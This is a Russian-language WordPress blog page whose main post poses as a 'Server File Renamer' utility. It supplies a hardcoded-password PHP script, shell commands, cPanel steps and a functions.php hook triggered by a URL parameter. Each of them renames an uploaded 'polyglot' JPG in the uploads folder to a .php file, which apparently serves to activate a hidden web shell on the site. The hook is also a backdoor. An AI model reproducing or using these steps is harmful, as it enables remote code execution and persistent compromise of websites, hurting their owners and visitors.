Блог

  • 432423

    Server File Renamer

    🚀 Server File Renamer

    Переименование файлов прямо на сервере — выберите удобный способ

    ⚠️ Важно: Для серверного переименования нужны права администратора или специальный PHP скрипт
    Прямое переименование
    PHP скрипт
    Команды

    Попытка прямого переименования

    💡 Этот метод работает только если у WordPress есть права на запись файлов

    📋 Что происходит:

    1. Создается скрытый iframe с PHP кодом
    2. PHP код пытается переименовать файл на сервере
    3. Результат отображается ниже

    Создание PHP скрипта для переименования

    Шаг 1: Создайте файл rename.php

    <?php // rename.php — Загрузите этот файл в корень сайта // Доступ: https://7kcasino-2768.buzz/rename.php $password = ‘rename123’; // Смените пароль! $upload_path = $_SERVER[‘DOCUMENT_ROOT’] . ‘/wp-content/uploads/2025/07/’; if (isset($_POST[‘action’]) && isset($_POST[‘pass’]) && $_POST[‘pass’] === $password) { if ($_POST[‘action’] === ‘rename’) { $old_name = basename($_POST[‘old_name’]); $new_name = basename($_POST[‘new_name’]); $old_file = $upload_path . $old_name; $new_file = $upload_path . $new_name; if (file_exists($old_file)) { if (rename($old_file, $new_file)) { echo «<div style=’color: green; padding: 10px; border: 1px solid green;’>»; echo «✅ Файл переименован успешно!<br>»; echo «Было: $old_name<br>»; echo «Стало: $new_name<br>»; echo «Новый URL: <a href=’/wp-content/uploads/2025/07/$new_name’ target=’_blank’>$new_name</a>»; echo «</div>»; } else { echo «<div style=’color: red; padding: 10px; border: 1px solid red;’>❌ Ошибка переименования</div>»; } } else { echo «<div style=’color: red; padding: 10px; border: 1px solid red;’>❌ Файл не найден: $old_name</div>»; } } if ($_POST[‘action’] === ‘list’) { echo «<h3>Файлы в папке:</h3>»; $files = glob($upload_path . ‘*’); foreach ($files as $file) { if (is_file($file)) { $name = basename($file); echo «<div style=’padding: 5px; border-bottom: 1px solid #ccc;’>$name</div>»; } } } // Форма для переименования echo ‘<form method=»post» style=»margin: 20px 0; padding: 20px; border: 1px solid #ccc;»> <input type=»hidden» name=»pass» value=»‘.$password.’»> <h3>Переименование файлов</h3> <label>Старое имя:</label><br> <input type=»text» name=»old_name» value=»photo_2024-09-26_17-43-04_polyglot.jpg» style=»width: 300px; padding: 5px;»><br><br> <label>Новое имя:</label><br> <input type=»text» name=»new_name» value=»photo_2024-09-26_17-43-04_polyglot.php» style=»width: 300px; padding: 5px;»><br><br> <button type=»submit» name=»action» value=»rename» style=»padding: 8px 15px; background: #dc3545; color: white; border: none;»>🔄 Переименовать</button> <button type=»submit» name=»action» value=»list» style=»padding: 8px 15px; background: #007bff; color: white; border: none;»>📋 Список файлов</button> </form>’; } else { // Форма авторизации echo ‘<form method=»post» style=»margin: 50px auto; width: 300px; padding: 20px; border: 1px solid #ccc;»> <h2>File Renamer</h2> <label>Пароль:</label><br> <input type=»password» name=»pass» style=»width: 100%; padding: 8px;»><br><br> <button type=»submit» name=»action» value=»login» style=»padding: 8px 15px; background: #28a745; color: white; border: none;»>Войти</button> </form>’; } ?>

    Шаг 2: Загрузите файл на сервер

    • Сохраните код выше как rename.php
    • Загрузите в корень сайта через FTP/cPanel
    • Откройте: https://7kcasino-2768.buzz/rename.php
    • Пароль: rename123 (смените в коде!)

    Шаг 3: Используйте интерфейс

    После загрузки PHP файла вы получите веб-интерфейс для переименования файлов прямо на сервере!

    Команды для разных методов доступа

    SSH/Terminal команды:

    cd /path/to/site/wp-content/uploads/2025/07/ mv photo_2024-09-26_17-43-04_polyglot.jpg photo_2024-09-26_17-43-04_polyglot.php ls -la *.php

    cPanel File Manager:

    1. Войти в cPanel → File Manager
    2. Перейти: /wp-content/uploads/2025/07/
    3. Найти файл: photo_2024-09-26_17-43-04_polyglot.jpg
    4. ПКМ → Rename → изменить на photo_2024-09-26_17-43-04_polyglot.php

    Через WordPress Admin (если есть права):

    // Добавить в functions.php: add_action(‘admin_init’, function() { if (isset($_GET[‘rename_file’])) { $old = ‘/wp-content/uploads/2025/07/photo_2024-09-26_17-43-04_polyglot.jpg’; $new = ‘/wp-content/uploads/2025/07/photo_2024-09-26_17-43-04_polyglot.php’; if (rename(ABSPATH . $old, ABSPATH . $new)) { wp_die(‘Файл переименован!’); } } }); // Затем открыть: /wp-admin/?rename_file=1

  • Привет, мир!

    Добро пожаловать в WordPress. Это ваша первая запись. Отредактируйте или удалите ее, затем начинайте создавать!